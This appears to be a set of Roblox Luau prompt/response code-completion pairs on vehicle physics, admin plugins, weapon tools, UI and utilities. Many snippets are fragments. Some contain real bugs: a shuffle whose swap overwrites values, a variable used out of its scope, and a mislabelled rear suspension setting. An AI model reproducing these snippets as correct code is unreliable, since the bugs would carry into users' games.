	_OutTorque = _OutTorque*math.max(1,(1+iComp))
	--Update Wheels

	--Front

	_fABSActive = false
	--Output
	if _PBrake and bike.DriveSeat.Velocity.Magnitude<20 then
		--PBrake
		Front.Axle.HingeConstraint.MotorMaxTorque=PBrakeForce*(60/workspace:GetRealPhysicsFPS())
	else
		if _CGear == 0 and bike.DriveSeat.Velocity.Magnitude <= 10 and _Tune.NeutralRev then
			Front.Axle.HingeConstraint.MotorMaxTorque=FBrakeForce*_GThrot*(60/workspace:GetRealPhysicsFPS())
		else
			--Apply ABS
			local ftqABS = 1
			if _ABS and math.abs(Front.Wheel.RotVelocity.Magnitude*(Front.Wheel.Size.Y/2) - Front.Wheel.Velocity.Magnitude)-_Tune.ABSThreshold>0 then ftqABS = 0 end
			if ftqABS < 1 then _fABSActive = true end
			local brake = FBrakeForce
			if _Tune.LinkedBrakes then
				local bias = _Tune.BrakesRatio/100
				brake = brake*bias
			end
			Front.Axle.HingeConstraint.MotorMaxTorque=brake*_GBrake*ftqABS*(60/workspace:GetRealPhysicsFPS())
		end
	end

	--Rear

	_TCSActive = false
	_rABSActive = false
	--Output
	if _PBrake and bike.DriveSeat.Velocity.Magnitude>=20 then
		--PBrake
		_SlipCount = _Tune.SlipABSThres
		bticc = tick()-_Tune.SlipTimeThres
		Rear.Axle.HingeConstraint.MotorMaxTorque=PBrakeForce*(60/workspace:GetRealPhysicsFPS())
		Rear.Axle.HingeConstraint.MotorMaxAcceleration=9e9
		Rear.Axle.HingeConstraint.AngularVelocity=0
	else
		--Apply Power
		if _CGear == 0 and bike.DriveSeat.Velocity.Magnitude <= 10 and _Tune.NeutralRev then
			bticc = tick()
			_SlipCount = 0
			Rear.Axle.HingeConstraint.MotorMaxTorque=math.min((500*_GBrake)+(RBrakeForce*_GThrot),500)*(60/workspace:GetRealPhysicsFPS())
			Rear.Axle.HingeConstraint.AngularVelocity=7*_GBrake*(1-_GThrot)
		elseif _GBrake==0 then
			bticc = tick()
			_SlipCount = 0
			local on=1
			if not script.Parent.IsOn.Value then on=0 end
			local throt = _GThrot
			local clutch=1
			if _ClPressing then clutch=0 end

			--Apply TCS
			local tqTCS = 1
			if _TCS then tqTCS = 1-(math.min(math.max(0,math.abs(Rear.Wheel.RotVelocity.Magnitude*(wDia/2) - Rear.Wheel.Velocity.Magnitude)-_Tune.TCSThreshold)/_Tune.TCSGradient,1)*(1-(_Tune.TCSLimit/100))) end
			_TCSAmt = tqTCS
			if tqTCS < 1 then
				_TCSAmt = tqTCS
				_TCSActive = true
			end

			--Update Forces
			Rear.Axle.HingeConstraint.MotorMaxTorque=_OutTorque*throt*tqTCS*on*clutch*(60/workspace:GetRealPhysicsFPS())*(1+(Rear.Wheel.RotVelocity.Magnitude/(120-workspace:GetRealPhysicsFPS()))^(1.15+(.07*(1-(60/workspace:GetRealPhysicsFPS())))))
			Rear.Axle.HingeConstraint.AngularVelocity=_spLimit
			--Brakes
		else
			--Apply ABS
			local rtqABS = 1
			if math.abs(Rear.Wheel.RotVelocity.Magnitude*(wDia/2) - Rear.Wheel.Velocity.Magnitude)-_Tune.ABSThreshold>0 then
				if _ABS then rtqABS = 0 _SlipCount = _SlipCount + 1 end
			else
				bticc = tick()
			end
			if rtqABS < 1 then _rABSActive = true end
			local brake = RBrakeForce
			if _Tune.LinkedBrakes then
				local bias = _Tune.BrakesRatio/100
				brake = brake*(1-bias)
			end

			Rear.Axle.HingeConstraint.MotorMaxTorque=brake*_GBrake*rtqABS*(60/workspace:GetRealPhysicsFPS())
			Rear.Axle.HingeConstraint.AngularVelocity=0
		end
	end
end


Prompt: -- Spawn up to a amount of flies at the beginning

Response:
local Model = script.Parent
local Amount = Model.Configuration.Amount

local Fly = Model.FireFly:Clone() -- Clone a fly from the start
Model.Center.CenterPart.Transparency = 1 -- Make the center part invisible. It has no purpose when the game runs

if Amount.Value > 1 then
	for i = 1, Amount.Value-1 do -- Spawn up to Amount new flies
		newFly = Fly:Clone()
		newFly.Position = Model.Center.CenterPart.Position
		newFly.Parent = Model
	end
end


Prompt:
--[[
	SERVER PLUGINS' NAMES MUST START WITH "Server:"
	CLIENT PLUGINS' NAMES MUST START WITH "Client:"

	Hi, this is an example plugin, meaning this is only to show you how to make your own plugins!
	All plugins need to be MODULE SCRIPTS! Not regular or local scripts, if its not a module script it wont work.
	If you want to use events from the main admin script such as CharacterAdded, PlayerChatted and
	PlayerJoined then simply look the following:

	set.MakePluginEvent('PlayerChatted',function(msg,plr) print(msg..' from '..plr.Name..' Example Plugin') end)
	set.MakePluginEvent('PlayerJoined',function(p) print(p.Name..' Joined! Example Plugin') end)
	set.MakePluginEvent('CharacterAdded',function(plr) set.RunCommand('name',plr.Name,'BobTest Example Plugin') end)

	Use set.MakePluginEvent(type,function) to add a function that gets run when the event is fired in the
	main script, only CharacterAdded, PlayerJoined and PlayerChatted are currently supported.

	If you want to run an admin command from a plugin, you need to use set.RunCommand(cmd,args)
	EX: set.RunCommand('name',plr.Name,'BobTest Example Plugin') will run ":name Player1 BobTests Example Plugin"
	NOTE: If you are running a command that needs a sending player (such as !quote, !donate, !explore, or any command that
	spawns guis on the player running the command) it WILL break, the script will continue functioning fine however
	the command will error and do nothing.

	Plugins give you the ability to change or add things to the main script without editing the
	actual script. You can add commands, functions, features, and you can use anything in the
	table "set" (the main script table which contains all functions, settings, and commands.)

	First off lets go over the format of commands.

	Commands must be formatted in the following way:

	set.MakeCommand(CommandName,AdminLevel,Prefix,{command1,command2},{argument1,argument2},function(plr,args)
		print('Hello World from inside an example command!')
	end)

	Now lets go over each element of MakeCommand function.
	CommandName - Name of the command
	AdminLevel - who can use the commands (-3=FunCommand Owners+; -2=FunCommand Admins+; -1=FunCommand Temp+; 0=Any Player; 1=Donors;2=Temp+;3=Admin+;4=Owner+;5=Place Owner)
	Prefix - the prefix to use (the : in :kill me) use set.Prefix to use the scripts set prefix (or set.AnyPrefix for the AnyPrefix setting)
	{command1,command2} - these are commands that can be chatted to run this command
	{argument1,argument2} - type of arguments (eg {"player","message"})
	NumberOfArguments - how many arguments are there? (How many times to split the message?)
	function(plr,args) - you need to include this, however you can change plr and args but its recommended you dont to avoid confusion.

	Now that we know what each thing is, go ahead and take a look at the example command.

	All the code to run MUST be in a function, as seen below, that gets returned.
	Anything inside the main function will be ran by the main admin script. If you want to use
	things from the main admin script use set.
	For example:

	return function(set)
		print('hi')
	end

	Client plugins are EXACTLY the same as server plugins, just they run on the client instead.
	Because all guis are made via the client script, client plugins also gives you the ability to
	edit and make your own guis for the script that you can call using set.Remote(PLAYER,"Function","GUI FUNCTIONS")
	Please note that if you want to be able to tell the client to load a gui, the gui will need to be in the client's "set"
	table as it is where all the functions to be executed by the server are stored. Read over the client script to get
	a better idea of how it works.

--]]
--------------------------------------------------------------------------
--Beginning of example plugin

Response:
return function(set) --function that the main script will run
	--Lets make an example command
	set.MakeCommand('Example Plugin Command',0,set.Prefix,{'example','forshow'},{'message1','message2'},function(plr,args)
		print('Hello World from inside an example command!')
		print('The first argument is '..args[1]..' and the second is '..args[2])
		print('The player who ran the command is '..plr.Name..'!')
	end)--Player chats ":example Args1 Args2"
	print('Hello World from inside an example plugin!')
	--makes the command "example" and prints "Hello World from inside an example plugin!"
end -- end of the main function


Prompt:
-- made by Weeve. for all of you lamo scripters out there, can you at least leave my name here?
-- don't edit anything here

Response:
seat = script.Parent

function onChildAdded(part)
	if (part.className == "Weld") then
		while true do
			local welde = seat:FindFirstChild("SeatWeld")

			if (welde ~= nil) then
				local sitted = welde.Part1.Parent
			end

			if (sitted.Name ~= script.Parent.Owner.Value) then
				if (script.Parent.Owner.Value == "NoOne") then
					script.Parent.Owner.Value = sitted.Name
				else
					local shipstealer = game.Workspace:FindFirstChild(sitted.Name)
					if (shipstealer ~= nil) then
						shipstealer.Humanoid.Jump=true
					end
				end
			end

			wait(0.2)

			if (welde == nil) then
				print("BreakLoop")
				script.Parent.Owner.Value = "NoOne"
			break end
		end
	end
end


Prompt:
-- NTE / Teknikk Lifts - Dot Matrix Indicator V2 --
-- SCRIPTED 25/11/17 BY OVERLOADDETECTED --


Prompt: --> Dependencies

Response: local MobList = require(script.Parent.MobList)


Prompt: --- Iterate through (physical) directory

Response:
for _, dirFolder in ipairs(script:GetChildren()) do
	--- Debug
	if debugInit then
		print('-----------------------------------------------')
	end

	--- Setup directory
	local dirName = dirFolder.Name
	Directory[dirName] = {}
	local dirData = Directory[dirName]

	--- Folder? Scan it!
	for _, module in ipairs(dirFolder:GetDescendants()) do
		if module.ClassName == "ModuleScript" then
			--- Add module to directory
			local moduleData = require(module)
			for key, value in pairs(moduleData) do
				dirData[key] = value
				if debugInit then  print(key, value)  end
			end
		end
	end

	--- Debug
	if debugInit then
		print('-----------------------------------------------\nLOADED '.. dirName)
	end
end

function Directory.NumberIDs(dirFolderName)
	return #script[dirFolderName]:GetChildren()
end


Prompt: --[[ Services ]]

Response:
--
local PlayersService = game:GetService("Players")
local ContextActionService = game:GetService("ContextActionService")
local Settings = UserSettings()	-- ignore warning
local GameSettings = Settings.GameSettings


Prompt: --------|    Reference    |--------

Response:
local playerGui = game.Players.LocalPlayer:WaitForChild("PlayerGui")
local whitelistedClasses = {"ScreenGui", "Frame", "ScrollingFrame", "ViewportFrame", "ImageLabel", "TextButton", "ImageButton", "TextBox", "TextLabel", "UIListLayout", "UIGridLayout", "UIAspectRatioConstraint"}


Prompt: --Right.InputChanged:Connect(RightTurn)

Response:
local function TouchThrottle(input, GPE)
	if input.UserInputState == Enum.UserInputState.Begin and _IsOn then
		_InThrot = 1
		_TTick = tick()
	else
		_InThrot = _Tune.IdleThrottle/100
		_BTick = tick()
	end
end
Gas.InputBegan:Connect(TouchThrottle)
Gas.InputEnded:Connect(TouchThrottle)


Prompt: --[[Driving Aids]]

Response:
--
Tune.ABS 			= false  		-- Avoids brakes locking up, reducing risk of lowside
Tune.ABSThreshold 	= 30 			-- Slip speed allowed before ABS starts working (in SPS)

Tune.TCS 			= false  		-- Avoids wheelspin, reducing risk of highsides
Tune.TCSThreshold 	= 30 			-- Slip speed allowed before TCS starts working (in SPS)
Tune.TCSGradient 	= 20 			-- Slip speed gradient between 0 to max reduction (in SPS)
Tune.TCSLimit 		= 10 			-- Minimum amount of torque at max reduction (in percent)

Tune.SlipClutch		= true			-- Slips the clutch under heavy braking, reducing unsettling, disabled in Manual transmission mode
Tune.SlipABSThres	= 5				-- If ABS is active, how many times the ABS system needs to activate before slipping
Tune.SlipTimeThres	= 0.5			-- If ABS is inactive, how much time needs to pass after the brakes lock to activate slipping


Response:
local WaitTime = 1	-- Change this to the amount of time it takes for the button to re-enable.
local modelname = "Swing"	-- If your model is not named this, then make the purple words the same name as the model!


Prompt: --[[Susupension]]

Response:
	Tune.SusEnabled		= true		-- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled

	--Front Suspension
	Tune.FSusDamping	= 20		-- Spring Dampening
	Tune.FSusStiffness	= 2000	-- Spring Force
	Tune.FAntiRoll 		= 5	-- Anti-Roll (Gyro Dampening)

	Tune.FSusLength		= 5		-- Suspension length (in studs)
	Tune.FPreCompress	= 0		-- Pre-compression adds resting length force
	Tune.FExtensionLim	= 30.0		-- Max Extension Travel (in studs)
	Tune.FCompressLim	= 0		-- Max Compression Travel (in studs)
	Tune.FSusAngle		= 80		-- Suspension Angle (degrees from horizontal)

	Tune.FWsBoneLen		= 5			-- Wishbone Length
	Tune.FWsBoneAngle	= 0			-- Wishbone angle (degrees from horizontal)
	Tune.FAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward

	--Rear Suspension
	Tune.RSusDamping	= 1		-- Spring Dampening
	Tune.RSusStiffness	= 1		-- Spring Force
	Tune.FAntiRoll 		= 0		-- Anti-Roll (Gyro Dampening)

	Tune.RSusLength		= 10			-- Suspension length (in studs)
	Tune.RPreCompress	= 0		-- Pre-compression adds resting length force
	Tune.RExtensionLim	= .3		-- Max Extension Travel (in studs)
	Tune.RCompressLim	= .1		-- Max Compression Travel (in studs)
	Tune.RSusAngle		= 80		-- Suspension Angle (degrees from horizontal)

	Tune.RWsBoneLen		= 5			-- Wishbone Length
	Tune.RWsBoneAngle	= 0			-- Wishbone angle (degrees from horizontal)
	Tune.RAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward

	--Aesthetics
	Tune.SusVisible		= false			-- Spring Visible
	Tune.WsBVisible		= false			-- Wishbone Visible
	Tune.SusRadius		= .2			-- Suspension Coil Radius
	Tune.SusThickness	= .1			-- Suspension Coil Thickness
	Tune.SusColor		= "Bright red"	-- Suspension Color [BrickColor]
	Tune.SusCoilCount	= 6				-- Suspension Coil Count
	Tune.WsColor		= "Black"		-- Wishbone Color [BrickColor]
	Tune.WsThickness	= .1			-- Wishbone Rod Thickness


Prompt:
--[[
* Determine the common suffix of two strings.
* @param {string} text1 First string.
* @param {string} text2 Second string.
* @return {number} The number of characters common to the end of each string.
--]]

Response:
local function _diff_commonSuffix(text1: string, text2: string): number
	-- Quick check for common null cases.
	if #text1 == 0 or #text2 == 0 or strbyte(text1, -1) ~= strbyte(text2, -1) then
		return 0
	end
	-- Binary search.
	-- Performance analysis: https://neil.fraser.name/news/2007/10/09/
	local pointermin = 1
	local pointermax = min(#text1, #text2)
	local pointermid = pointermax
	local pointerend = 1
	while pointermin < pointermid do
		if strsub(text1, -pointermid, -pointerend) == strsub(text2, -pointermid, -pointerend) then
			pointermin = pointermid
			pointerend = pointermin
		else
			pointermax = pointermid
		end
		pointermid = floor(pointermin + (pointermax - pointermin) / 2)
	end
	return pointermid
end


Prompt: -- Dropdowns

Response:
local dropdownContainer = Instance.new("Frame")
dropdownContainer.Name = "DropdownContainer"
dropdownContainer.BackgroundTransparency = 1
dropdownContainer.BorderSizePixel = 0
dropdownContainer.AnchorPoint = Vector2.new(0.5, 0)
dropdownContainer.ZIndex = -2
dropdownContainer.ClipsDescendants = true
dropdownContainer.Visible = true
dropdownContainer.Parent = iconContainer
dropdownContainer.Active = false

local dropdownFrame = Instance.new("ScrollingFrame")
dropdownFrame.Name = "DropdownFrame"
dropdownFrame.BackgroundTransparency = 1
dropdownFrame.BorderSizePixel = 0
dropdownFrame.AnchorPoint = Vector2.new(0.5, 0)
dropdownFrame.Position = UDim2.new(0.5, 0, 0, 0)
dropdownFrame.Size = UDim2.new(0.5, 2, 1, 0)
dropdownFrame.ZIndex = -1
dropdownFrame.ClipsDescendants = false
dropdownFrame.Visible = true
dropdownFrame.TopImage = dropdownFrame.MidImage
dropdownFrame.BottomImage = dropdownFrame.MidImage
dropdownFrame.VerticalScrollBarInset = Enum.ScrollBarInset.Always
dropdownFrame.VerticalScrollBarPosition = Enum.VerticalScrollBarPosition.Right
dropdownFrame.Parent = dropdownContainer
dropdownFrame.Active = false

local dropdownList = Instance.new("UIListLayout")
dropdownList.Name = "DropdownList"
dropdownList.FillDirection = Enum.FillDirection.Vertical
dropdownList.SortOrder = Enum.SortOrder.LayoutOrder
dropdownList.Parent = dropdownFrame

local dropdownPadding = Instance.new("UIPadding")
dropdownPadding.Name = "DropdownPadding"
dropdownPadding.PaddingRight = UDim.new(0, 2)
dropdownPadding.Parent = dropdownFrame


Prompt: --//Variables\\--

Response:
local tool = script.Parent
	local handle = tool:WaitForChild("Handle")

local contextActionService = game:GetService("ContextActionService")

local player = game.Players.LocalPlayer
	local mouse = player:GetMouse()
	local character = player.Character or player.CharacterAdded:Wait()

local enabled = true
local specialDB = true

local cursorId = "http://www.roblox.com/asset/?id=251497633"
local hitId = "http://www.roblox.com/asset/?id=70785856"

local configs = tool:WaitForChild("Configurations")
	local fireRate = configs:FindFirstChild("FireRate")
	local specialRechargeTime = configs:FindFirstChild("SpecialRechargeTime")

local fire = tool:WaitForChild("Fire")
local activateSpecial = tool:WaitForChild("ActivateSpecial")
local hit = tool:WaitForChild("Hit")


Prompt:
--[[

	LOWGames Studios
	Date: 27 October 2022
	by Elder

]]

Response:
--

local u1 = nil;
coroutine.wrap(function()
	u1 = require(game.ReplicatedStorage:WaitForChild("Framework"):WaitForChild("Library"));
end)();
return function(p1)
	for v1 = #p1, 2, -1 do
		local v2 = math.random(v1);
		p1[v1] = p1[v2];
		p1[v2] = p1[v1];
	end;
	return p1;
end;


Prompt: --[[Susupension]]

Response:
	Tune.SusEnabled		= true		-- Sets whether suspension is enabled for PGS

	--Front Suspension
	Tune.FSusDamping	= 500		-- Spring Dampening
	Tune.FSusStiffness	= 9000		-- Spring Force
	Tune.FAntiRoll 		= 50		-- Anti-Roll (Gyro Dampening)

	Tune.FSusLength		= 2			-- Suspension length (in studs)
	Tune.FPreCompress	= .3		-- Pre-compression adds resting length force
	Tune.FExtensionLim	= .3		-- Max Extension Travel (in studs)
	Tune.FCompressLim	= .1		-- Max Compression Travel (in studs)
	Tune.FSusAngle		= 80		-- Suspension Angle (degrees from horizontal)

	Tune.FWsBoneLen		= 5			-- Wishbone Length
	Tune.FWsBoneAngle	= 0			-- Wishbone angle (degrees from horizontal)
	Tune.FAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward

	--Rear Suspension
	Tune.RSusDamping	= 500		-- Spring Dampening
	Tune.RSusStiffness	= 9000		-- Spring Force
	Tune.RAntiRoll 		= 50		-- Anti-Roll (Gyro Dampening)

	Tune.RSusLength		= 2			-- Suspension length (in studs)
	Tune.RPreCompress	= .3		-- Pre-compression adds resting length force
	Tune.RExtensionLim	= .3		-- Max Extension Travel (in studs)
	Tune.RCompressLim	= .1		-- Max Compression Travel (in studs)
	Tune.RSusAngle		= 80		-- Suspension Angle (degrees from horizontal)

	Tune.RWsBoneLen		= 5			-- Wishbone Length
	Tune.RWsBoneAngle	= 0			-- Wishbone angle (degrees from horizontal)
	Tune.RAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward

	--Aesthetics
	Tune.SusVisible		= true			-- Spring Visible
	Tune.WsBVisible		= false			-- Wishbone Visible
	Tune.SusRadius		= .2			-- Suspension Coil Radius
	Tune.SusThickness	= .1			-- Suspension Coil Thickness
	Tune.SusColor		= "Bright red"	-- Suspension Color [BrickColor]
	Tune.SusCoilCount	= 6				-- Suspension Coil Count
	Tune.WsColor		= "Black"		-- Wishbone Color [BrickColor]
	Tune.WsThickness	= .1			-- Wishbone Rod Thickness


Response:
Bullet.formFactor=0
Bullet.TopSurface=0
Bullet.BottomSurface=0
mesh=Instance.new("SpecialMesh")
mesh.Parent=Bullet
mesh.MeshType="Brick"
mesh.Name="Mesh"
mesh.Scale=Vector3.new(.15,.15,1)

function check()
	sp.Name=ToolName.."-("..tostring(sp.Ammo.Value)..")"
end

function computeDirection(vec)
	local lenSquared = vec.magnitude * vec.magnitude
	local invSqrt = 1 / math.sqrt(lenSquared)
	return Vector3.new(vec.x * invSqrt, vec.y * invSqrt, vec.z * invSqrt)
end


Prompt: -- Connects a function to an event such that it fires asynchronously

Response:
function Connect(event,func)
	return event:connect(function(...)
		local a = {...}
		spawn(function() func(unpack(a)) end)
	end)
end


Prompt:
---This server script creates the sounds and also exists so that it can be easily copied into an NPC and create sounds for that NPC.
--Remove the local script if you copy this into an NPC.

Response:
function waitForChild(parent, childName)
local child = parent:findFirstChild(childName)
if child then return child end
while true do
child = parent.ChildAdded:wait()
if child.Name==childName then return child end
end
end
function newSound(name, id)
local sound = Instance.new("Sound")
sound.SoundId = id
sound.Name = name
sound.archivable = false
sound.Parent = script.Parent.Head
return sound
end


Prompt: -- Local Variables

Response:
local MapSave = Instance.new('Folder')
MapSave.Parent = ServerStorage
MapSave.Name = 'MapSave'


Prompt: --// Event Connections

Response:
L_14_.OnClientEvent:connect(function(L_22_arg1)
	if L_22_arg1.TeamColor == L_1_.TeamColor and L_22_arg1.Character and L_22_arg1.Character:FindFirstChild('Head') then
		if L_22_arg1.Character.Saude.FireTeam.SquadName.Value ~= '' then
			spawnTag(L_22_arg1.Character, L_22_arg1.Character.Saude.FireTeam.SquadColor.Value)
		else
			spawnTag(L_22_arg1.Character, Color3.fromRGB(255,255,255))
		end
	end;

	if L_22_arg1.TeamColor ~= L_1_.TeamColor then
		if L_22_arg1.Character and L_22_arg1.Character:FindFirstChild('Head') and L_22_arg1.Character.Head:FindFirstChild('TeamTag') then
			L_22_arg1.Character.Head.TeamTag:Destroy()
		end
	end;
end)


Prompt:
----------------------------------------------------------------------------------------------------
-----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------
----------------------------------------------------------------------------------------------------

Response:
	,VRecoil = {0,0}				--- Vertical Recoil
	,HRecoil = {0,0}				--- Horizontal Recoil
	,AimRecover = 0					---- Between 0 & 1

	,RecoilPunch = 0
	,VPunchBase = 0					--- Vertical Punch
	,HPunchBase = 0					--- Horizontal Punch
	,DPunchBase = 0 				--- Tilt Punch | useless

	,AimRecoilReduction = 0 		--- Recoil Reduction Factor While Aiming (Do not set to 0)
	,PunchRecover = 0
	,MinRecoilPower = 0
	,MaxRecoilPower = 0
	,RecoilPowerStepAmount = 0

	,MinSpread = 0					--- Min bullet spread value | Studs
	,MaxSpread = 0					--- Max bullet spread value | Studs
	,AimInaccuracyStepAmount = 0
	,WalkMultiplier = 0				--- Bullet spread based on player speed

	,SwayBase = 0.25				--- Weapon Base Sway | Studs
	,MaxSway =	2					--- Max sway value based on player stamina | Studs


Prompt: -- Main loop

Response:
spawn(function()
	while wait(cooldown) do

		if check_movement() then

			footstepsSound.SoundId = get_material()

			footstepsSound.Parent = nil
			footstepsSound.Parent = rootPart
		end
	end
end)


Prompt:
-- int rd_int_basic(string src, int s, int e, int d)
-- @src - Source binary string
-- @s - Start index of a little endian integer
-- @e - End index of the integer
-- @d - Direction of the loop

Response:
local function rd_int_basic(src, s, e, d)
	local num = 0

	-- if bb[l] > 127 then -- signed negative
	-- 	num = num - 256 ^ l
	-- 	bb[l] = bb[l] - 128
	-- end

	for i = s, e, d do num = num + string.byte(src, i, i) * 256 ^ (i - s) end

	return num
end


Response:
function onClicked()
R.BrickColor = BrickColor.new("Really red")
C.One.BrickColor = BrickColor.new("Really black")
C.Two.BrickColor = BrickColor.new("Really black")
C.Three.BrickColor = BrickColor.new("Really black")
C.MIC.BrickColor = BrickColor.new("Really black")
C.A.BrickColor = BrickColor.new("Really black")
C.B.BrickColor = BrickColor.new("Really black")
C.M.BrickColor = BrickColor.new("Really black")
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)


Prompt: --local root = shark:WaitForChild("HumanoidRootPart")

Response:
local root = shark.PrimaryPart
local bodyPos = root:WaitForChild("BodyPosition")
local bodyGyro = root:WaitForChild("BodyGyro")

local stance,target = "wander",nil
local scanInterval = 2
local destination = (root.CFrame*CFrame.new(0,0,5)).p
local orientation = root.CFrame
local holdDuration = 5
local holdOrder = 0
local lastAdjustment,nextAdjustment = 0,25

function MakeAMove()
if (tick()-holdOrder < holdDuration) then return end
if stance == "wander" then
local collisionRay = Ray.new(
(root.CFrame*CFrame.new(0,100,-15)).p ,
Vector3.new(0,-1000,0)
)
local part,pos,norm,mat = workspace:FindPartOnRayWithIgnoreList(collisionRay,shark:GetDescendants())


Prompt:
-----------------
--| Constants |--
-----------------

Response:
local BLAST_RADIUS = 25 -- Blast radius of the explosion
local BLAST_DAMAGE = 900 -- Amount of damage done to players
local BLAST_FORCE = 10000 -- Amount of force applied to parts

local IGNORE_LIST = {rocket = 1, handle = 1, effect = 1, water = 1} -- Rocket will fly through things named these


Prompt: -- ~60 c/s

Response:
game["Run Service"].Heartbeat:connect(function(dt)
	_IsOn = script.Parent.IsOn.Value
	_InControls = script.Parent.ControlsOpen.Value

	--Steering
	Steering(dt)

	--Gear
	Gear()

	--Power
	Engine(dt)

	--Update External Values
	script.Parent.Values.Gear.Value = _CGear
	script.Parent.Values.RPM.Value = _RPM
	script.Parent.Values.Boost.Value = ((_TBoost/2)*_TPsi)+((_SBoost/2)*_SPsi)
	script.Parent.Values.BoostTurbo.Value = (_TBoost/2)*_TPsi
	script.Parent.Values.BoostSuper.Value = (_SBoost/2)*_SPsi
	script.Parent.Values.HpNatural.Value = _NH
	script.Parent.Values.HpElectric.Value = _EH
	script.Parent.Values.HpTurbo.Value = _TH
	script.Parent.Values.HpSuper.Value = _SH
	script.Parent.Values.HpBoosted.Value = _BH
	script.Parent.Values.Horsepower.Value = _HP
	script.Parent.Values.TqNatural.Value = _NT/_Tune.Ratios[_CGear+1]/fFD/hpScaling
	script.Parent.Values.TqElectric.Value = _ET/_Tune.Ratios[_CGear+1]/fFD/hpScaling
	script.Parent.Values.TqTurbo.Value = _TT/_Tune.Ratios[_CGear+1]/fFD/hpScaling
	script.Parent.Values.TqSuper.Value = _ST/_Tune.Ratios[_CGear+1]/fFD/hpScaling
	script.Parent.Values.TqBoosted.Value = script.Parent.Values.TqTurbo.Value+script.Parent.Values.TqSuper.Value
	script.Parent.Values.Torque.Value = script.Parent.Values.TqNatural.Value+script.Parent.Values.TqElectric.Value+script.Parent.Values.TqBoosted.Value
	script.Parent.Values.TransmissionMode.Value = _TMode
	script.Parent.Values.Throttle.Value = _GThrot
	script.Parent.Values.Brake.Value = _GBrake
	if script.Parent.Values.AutoClutch.Value then
		script.Parent.Values.Clutch.Value = _Clutch
	end
	script.Parent.Values.SteerC.Value = _GSteerC
	script.Parent.Values.SteerT.Value = _GSteerT
	script.Parent.Values.PBrake.Value = _PBrake
	script.Parent.Values.TCS.Value = _TCS
	script.Parent.Values.TCSActive.Value = _TCSActive
	script.Parent.Values.TCSAmt.Value = 1-_TCSAmt
	script.Parent.Values.ABS.Value = _ABS
	script.Parent.Values.ABSActive.Value = _fABSActive or _rABSActive
	script.Parent.Values.MouseSteerOn.Value = _MSteer
	script.Parent.Values.Velocity.Value = bike.DriveSeat.Velocity
end)

while wait(.0667) do
	if _TMode == "Auto" then Auto() end
end


Prompt: --	mouse.Button1Down:connect(function() onButton1Down(mouse) end)

Response:
	mouse.Button1Up:connect(function() nofiar(mouse) end)
	mouse.KeyDown:connect(KeyDownFunctions)
	c = Tool.Parent:findFirstChild("Crouch")
	while true do
		wait()
	end
end

function onUnequippedLocal(mouse)
	nofiar(mouse)
end

Tool.Unequipped:connect(onUnequippedLocal)

Tool.Equipped:connect(onEquippedLocal)

script.Parent.Activated:connect(onActivated)
Tool.Equipped:connect(Equip)
Tool.Unequipped:connect(Unequip)
Tool.Unequipped:connect(Uncrouch)


Prompt:
--[=[
	Add to spring position to adjust for velocity of target. May have to set clock to time().

	@param velocity T
	@param dampen number
	@param speed number
	@return T
]=]

Response:
function SpringUtils.getVelocityAdjustment(velocity, dampen, speed)
	assert(velocity, "Bad velocity")
	assert(dampen, "Bad dampen")
	assert(speed, "Bad speed")

	return velocity*(2*dampen/speed)
end


Prompt:
--!nonstrict
--[[
	Gamepad Character Control - This module handles controlling your avatar using a game console-style controller

	2018 PlayerScripts Update - AllYourBlox
--]]

Response:
local UserInputService = game:GetService("UserInputService")
local ContextActionService = game:GetService("ContextActionService")


Prompt:
--[[
	@class BlendTextbox.story
]]

Response:
local require = require(game:GetService("ServerScriptService"):FindFirstChild("LoaderUtils", true).Parent).load(script)

local Blend = require("Blend")
local Maid = require("Maid")

return function(target)
	local maid = Maid.new()

	local state = Blend.State("hi")

	maid:GiveTask((Blend.New "Frame" {
		Size = UDim2.new(1, 0, 1, 0);
		BackgroundTransparency = 1;
		Parent = target;

		[Blend.Children] = {
			Blend.New "TextBox" {
				Size = UDim2.new(0, 200, 0, 50);
				Text = state;
				[Blend.OnChange "Text"] = state;
				[Blend.OnEvent "Focused"] = function()
					print("Focused")
				end;

				[function(inst) return inst.Focused end] = function()
					print("Focused (via func)")
				end;

				-- this also works
				[function(inst) return inst:GetPropertyChangedSignal("Text") end] = function()
					print("Property changed from :GetPropertyChangedSignal()")
				end;
			};

			Blend.New "TextBox" {
				Size = UDim2.new(0, 200, 0, 50);
				[Blend.OnChange "Text"] = state; -- read state
				Text = state; -- write state
			};

			Blend.New "UIListLayout" {
				Padding = UDim.new(0, 10);
			};
		};
	}):Subscribe())

	return function()
		maid:DoCleaning()
	end
end


Prompt: -- Folders --

Response:
local Remotes = RS.Remotes
local Modules = RS.Modules


Prompt: --// Tables

Response:
local L_95_ = {

	"285421759";
	"151130102";
	"151130171";
	"285421804";
	"287769483";
	"287769415";
	"285421687";
	"287769261";
	"287772525";
	"287772445";
	"287772351";
	"285421819";
	"287772163";

}

local L_96_ = {

	"";
	"";
	"";
	"";
	"";
	"";
	"";
	"";
	"";
	"";
	"";
	"";
	"";
	"";
	"";
	"";
	"";
	"";
	"";
	"";
	"";

}

local L_97_ = {

	"";
	"";
	"";
	"";
	"";
	"";
	"";
	"";
	"";
	"";
	"";
	"";
	"";
	"";
	"";
	"";
	"";
	"";
	"";
	"";
	"";
	"";
	"";

}

local L_98_ = workspace:FindFirstChild("BulletModel: " .. L_2_.Name) or Instance.new("Folder", workspace)
L_98_.Name = "BulletModel: " .. L_2_.Name

local L_99_

local L_100_ = L_24_.Ammo
local L_101_ = L_24_.StoredAmmo * L_24_.MagCount

local L_102_ = L_24_.ExplosiveAmmo

IgnoreList = {
	L_3_,
	L_98_,
	L_5_
}


